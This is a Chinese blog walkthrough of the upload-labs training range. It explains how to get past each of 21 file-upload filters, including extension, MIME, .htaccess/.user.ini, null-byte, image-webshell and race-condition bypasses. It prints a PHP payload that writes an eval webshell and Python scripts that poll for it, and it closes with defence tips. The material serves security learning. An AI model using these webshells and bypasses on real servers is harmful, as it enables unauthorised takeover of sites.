飞道的博客

Upload-labs 1-21关 靶场通关攻略(全网最全最完整)

975人阅读  评论(0)

Pass-01(前端验证)

因为是进行前端JS校验,因此可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件


复制图片地址并用蚁剑进行连接

Pass-02(MIME验证)

分析代码,可以看到,后端PHP代码只对content-type进行了检查
使用bp抓包,修改上传的PHP的content-type为image/png

Pass-03(黑名单验证,特殊后缀)

这题本人使用的是PHP5.2.17环境

分析代码,进行黑名单验证,但是黑名单不全,可以使用php3、php5、phtml等等绕过
但是因为靶场是用phpstudy环境搭建的,要进去修改一下配置文件


改一下httpd.conf文件里的#AddType application/x-httpd-php .php .phtml
AddType application/x-httpd-php .php .phtml .php5 .php3
记得去掉#号。

修改完配置文件记得要重启一下phpstudy服务环境

关于AddType命令的作用解释

AddType 指令 作用:在给定的文件扩展名与特定的内容类型之间建立映射 语法:AddType MIME-type extension
[extension] …
AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。

然后把一句话木马文件.php后缀改为.php5 即可上传

其实这题还能用.htaccess 来进行绕过(详细的在下面有解释)

这个文件里面的含义就是将所有文件解析为php。例如上传个jpg格式的一句话也可以绕过了,再用蚁剑进行连接就可以了

Pass-04(黑名单验证,.htaccess)

这题本人使用的是PHP5.2.17环境

发现使用上面上传的php5或者其他类型的文件,都以失败告终。
但是发下有一个文件是没有过滤,也是我们上传过程中经常用到的.htaccess

.htaccess基础知识*重点内容*
.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
它里面有这样一段代码:AllowOverride None,如果我们把None改成All

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
好了,我们开始上传一个.htaccess内容如下的文件:


上传成功,我们再上传一个图片马:
图片马可以用在一句话木马里面加上GIF89a就可以了,然后把后缀名改成png或者jpg等等

再用蚁剑进行连接

Pass-05(黑名单验证,.user.ini.)

注:本人在这关用的环境是PHP5.3.29版本,并且使用cgi模式(这里只有nts,nt就是fastcgi模式)

查看源码并点开提示

源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
反复观察发现没有被限制的后缀名有 .php7 以及 .ini

然后接着百度一番ini的知识

user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
   CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
   .htaccess 文件有同样效果。
   
   除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
   根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
   
   在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
   设置可被识别。
   
   两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
   
   user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
   .user.ini。
   
   user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。

但是想要引发 .user.ini 解析漏洞需要三个前提条件

服务器脚本语言为PHP  

服务器使用CGI/FastCGI模式  

上传目录下要有可执行的php文件
  什么是 CGI
       CGI 的全称为“通用网关接口”(Common Gateway Interface),为 HTTP 服务器与其他机器上的程序服务通信交流的一种工具, CGI 程序须运行在网络服务器上。
   
       传统 CGI 接口方式的主要缺点是性能较差,因为每次 HTTP 服务器遇到动态程序时都需要重新启动解析器来执行解析,之后结果才会被返回给 HTTP
       服务器。这在处理高并发访问时几乎是不可用的,因此就诞生了 FastCGI。另外,传统的 CGI 接口方式安全性也很差,故而现在已经很少被使用了。
   
       什么是 FastCGI
       FastCGI 是一个可伸缩地、高速地在 HTTP 服务器和动态服务脚本语言间通信的接口(在 Linux 下, FastCGI 接口即为 socket,这个socket 可以是文件 socket,也可以是IP socket),主要优点是把动态语言和 HTTP
   服务器分离开来。多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache 、 Nginx 和 Lighttpd 等。
   
       同时,FastCGI也被许多脚本语言所支持,例如当前比较流行的脚本语言PHP。FastCGI 接口采用的是C/S架构,它可以将 HTTP 服务器和脚本服务器分开,同时还能在脚本解析服务器上启动一个或多个脚本来解析守护进程。当 HTTP
   服务器遇到动态程序时,可以将其直接交付给 FastCGI 进程来执行,然后将得到结果返回给浏览器。这种方式可以让 HTTP
   服务器专一地处理静态请求,或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高整个应用系统的性能。

都是在百度搜的。。。

其中php语言和CGI我们的Apache和环境均满足

创建一个.user.ini文件并把它上传

.user.ini文件里的意思是:所有的php文件都自动包含666.jpg文件。.user.ini相当于一个用户自定义的php.ini

接着上传666.jpg文件,文件内容为:

然后这里有两个选择
选择一:慢慢的等候5分钟,然后用蚁剑连上去
选择二:直接进去修改php-ini配置文件

把这里的300秒(即默认等5分钟)改为10

修改后保存php.ini文件并重启phpstudy,静心等候10秒后再进行下一步操作

然后在复制图像地址后,用蚁剑访问将文件名改为readme.php


这关其实也可用 php. . 点空格点 绕过上传(如下图)

Pass-06(黑名单验证,大小写绕过)

这一关同样是后端黑名单,同时过滤掉.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单

把.php 格式改为 .Php 上传上去之后,就会自动解析为.php

然后直接上传,蚁剑连接


Pass-07(黑名单验证,空格绕过)

这一关黑名单,没有使用trim()去除空格,可以使用空格绕过黑名单

抓包,修改上传一句话木马文件名zoe.php(注意这里有个空格)

放包之后用蚁剑连接

Pass-08(黑名单验证,点号绕过)

这一关黑名单,没有使用deldot()过滤文件名末尾的,可以使用文件名后加.进行绕过

抓包,修改上传一句话木马文件名zoe.php.(注意这里有个点)


Pass-09(黑名单验证,特殊字符::$DATA绕过)

这一关黑名单,没有对:: D A T A 进 行 处 理 , 可 以 使 用 : : DATA进行处理,可以使用:: DATA使::DATA绕过黑名单

补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。

上传PHP一句话文件,抓包改后缀zoe.php::$DATA
然后使用蚁剑连接zoe.php (注意蚁剑连接路径不要加上::$DATA)

这里记得把蓝色选中部分删掉,才能连接成功


Pass-10(黑名单)

这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行
f i l e n a m e = d e l d o t ( file_name = deldot( filename=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单

补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

上传zoe.php 然后用bp改后缀加点空格点(即文件名为zoe.php. .

使用蚁剑连接zoe.php.

Pass-11(黑名单验证,双写绕过)

这一关黑名单,使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单

补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)

上传zoe.php 然后用bp改后缀为.pphphp使用蚁剑连接zoe.php


Pass-12(get00截断)

本人这里使用的是PHP5.2.17+Apache环境
这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

上传zoe.php用BP抓包修改参数,把upload/后面加上zoe.php%00(即图二),下面的filename=”zoe.php”改为zoe.png


放包之后用蚁剑连接
这里有一个细节,蚁剑连接时要把下面蓝色的部分删掉


Pass-13(post 00截断)

本人这里使用的是PHP5.2.17+Apache环境
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单

补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。

上传zoe.php用BP抓包修改参数,然后修改后的结果为如下图二

../upload/ 路径下加上zoe.php+ +号是为了方便后面修改Hex

+号的Hex是2b,这里我们要把它改为00(效果如下图二)


然后就可以放包了,复制图片地址并用蚁剑进行连接
但是这里要注意一下,蚁剑连接填的URL地址要把图下面的蓝色部分删了(即php后面部分要删掉)



其实这题还有另一种方法就是用URL解码

Pass-14(图片马unpack)

这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含 绕过

补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。


cmd使用 copy 777.png/b + zoe.php pass14.png 制作图片马,上传图片马

然后这关要使用文件包含才能解析木马的执行,文件包含页面链接就在那里


因为上传图片马之后会被重命名图片所以下面的payload的图片名字可以在上传之后复制图片链接就可以了

构造的URL为include.php?file=upload/3420210320172751.png

然后用蚁剑连接

Pass-15(getimagesize图片马)

通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马



构造的URL为include.php?file=upload/8620210320174003.png

如果出现如下图情况代表图片马是成功解析了

然后用蚁剑连接

Pass-16(exif_imagetype图片马)

知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。


所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马

构造的URL为include.php?file=upload/ 8620210320175536.png

如果出现如下图情况代表图片马是成功解析了

然后用蚁剑连接

Pass-17(二次渲染绕过)

这一关对上传图片进行了判断了后缀名content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

补充知识:
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片

为了方便大家测试,这里提供一张网上某个大佬提供的GIF图片,当时我也找了很久,大家可以保存一下https://wwe.lanzous.com/iFSwwn53jaf

下图就是上传GIF文件之后

利用文件包含漏洞


构造的URL为include.php?file=upload/31608.gif

使用蚁剑连接

Pass-18(条件竞争一)

打开第十八关,通过提示发现跟以前的都不一样。
看来线索就是在源码里面,我们来一起审计分析一下代码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
   
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
   
        if(in_array($file_ext,$ext_arr)){
   
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
   
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
   
        $msg = '上传出错!';
    }
}

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

那还怎么搞?上传上去就被删除了,我还怎么去访问啊。

不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

为了更好的演示效果,把一句话木马换一下改为:

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>

把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个Tony.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的Tony.php服务器是不会删除的,我们就可以通过蚁剑去链接了。

首先,我们上传PHP文件,用BP拦截

进行下一步操作前,这里有个小细节,就是不要把BP的拦截功能关闭了,要一直保持拦截状态以达到测试更好的效果

然后选择Clear$

接着设置无限发送空的Payloads,来让它一直上传该文件

最后建议这里把线程设置高一点

然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的zoe.php文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址

import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

接下来我们可以在BP点击开始攻击

可以看到上传该文件的数据包不停地在进行重放。

在BP攻击的同时我们也要运行python脚本,目的就是不停地访问zoe.php知道成功访问到为止。当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了,用蚁剑连一下试试。


Pass-19(条件竞争二)

这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件

要改成如下图的样子并保存重启靶场

打开第十九关,发现还是需要代码审计。那么再来看看源码吧。

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>

第一步:生成图片马

第二步:上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)

点击Clear$

接着设置无限发送空的Payloads,来让它一直上传该文件

最后建议这里把线程设置高一点

然后我们要修改一下python脚本,不能再用回第18关的脚本了,这里脚本要修改为文件包含来访问(由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址

import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

接下来我们可以用BP进行攻击,并同时运行python脚本

当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了,用蚁剑连一下试试。

这里注意一下蚁剑连接的URLhttp://xxx.xxx.xxx.xxx/upload-labs/Tony.php



其实这题同样的这也属于条件竞争的一种,只不过文件的形式不同而已。但是这题存在一个概率问题,比如我这次很短时间可以跑出来,但是下一次再同样做一次的话可能要长一点时间,反正我第一次打这关我当时BP跑了5W都没跑出来,而这次在30个包之后就可以出来了,不过还是那句,建议BP的线程能设高一点,效果可能会更好。

Pass-20

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

先准备PHP一句话木马,并把后缀名改为PNG再上传

然后用BP来抓包,效果如下图,就是在upload-19.jpg改为upload-19.php/.

修改完直接放包,然后复制图片地址,用蚁剑连接

Pass-21(这题本人有点不是很太懂,就搬大佬的WP)

这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件

补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数

首先准备PHP一句话木马

然后上传用BP来拦截并改包(效果如下面图二)

我们要改的就是下面的要求

修改content-type
修改POST参数为数组类型,索引[0]`upload-20.php`,索引[2]`jpg|png|gif`。
只要第二个索引`不为1`$file[count($file) - 1]就等价于$file[2-1],值为空


然后就点击放包

复制图片地址,用蚁剑进行连接,这里有个细节,可能有人会问蚁剑连接的URL地址
.php后面有一个点,我们需不需要把它删了,其实这个点删不删没所谓,不影响的,照样能连上

总结

文件上传

漏洞成因: 具备上传文件功能的Web等应用,未对用户选择上传的文件进行校验,使得非法用户可通过上传可执行脚本而获取应用的控制权限。
防护与绕过: 通过upload-labs靶场实战,了解更多的防护与绕过手段。

防御

  1. 不要暴露上传文件的位置
  2. 禁用上传文件的执行权限
  3. 黑白名单
  4. 对上传的文件重命名,不易被猜测
  5. 对文件内容进行二次渲染
  6. 对上传的内容进行读取检查

不同系统有不同的需求,根据系统需求制定特定的防御手段。
(WAF加上复合型防火墙,一键安装解君愁~)


转载:https://blog.csdn.net/weixin_47598409/article/details/115050869
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场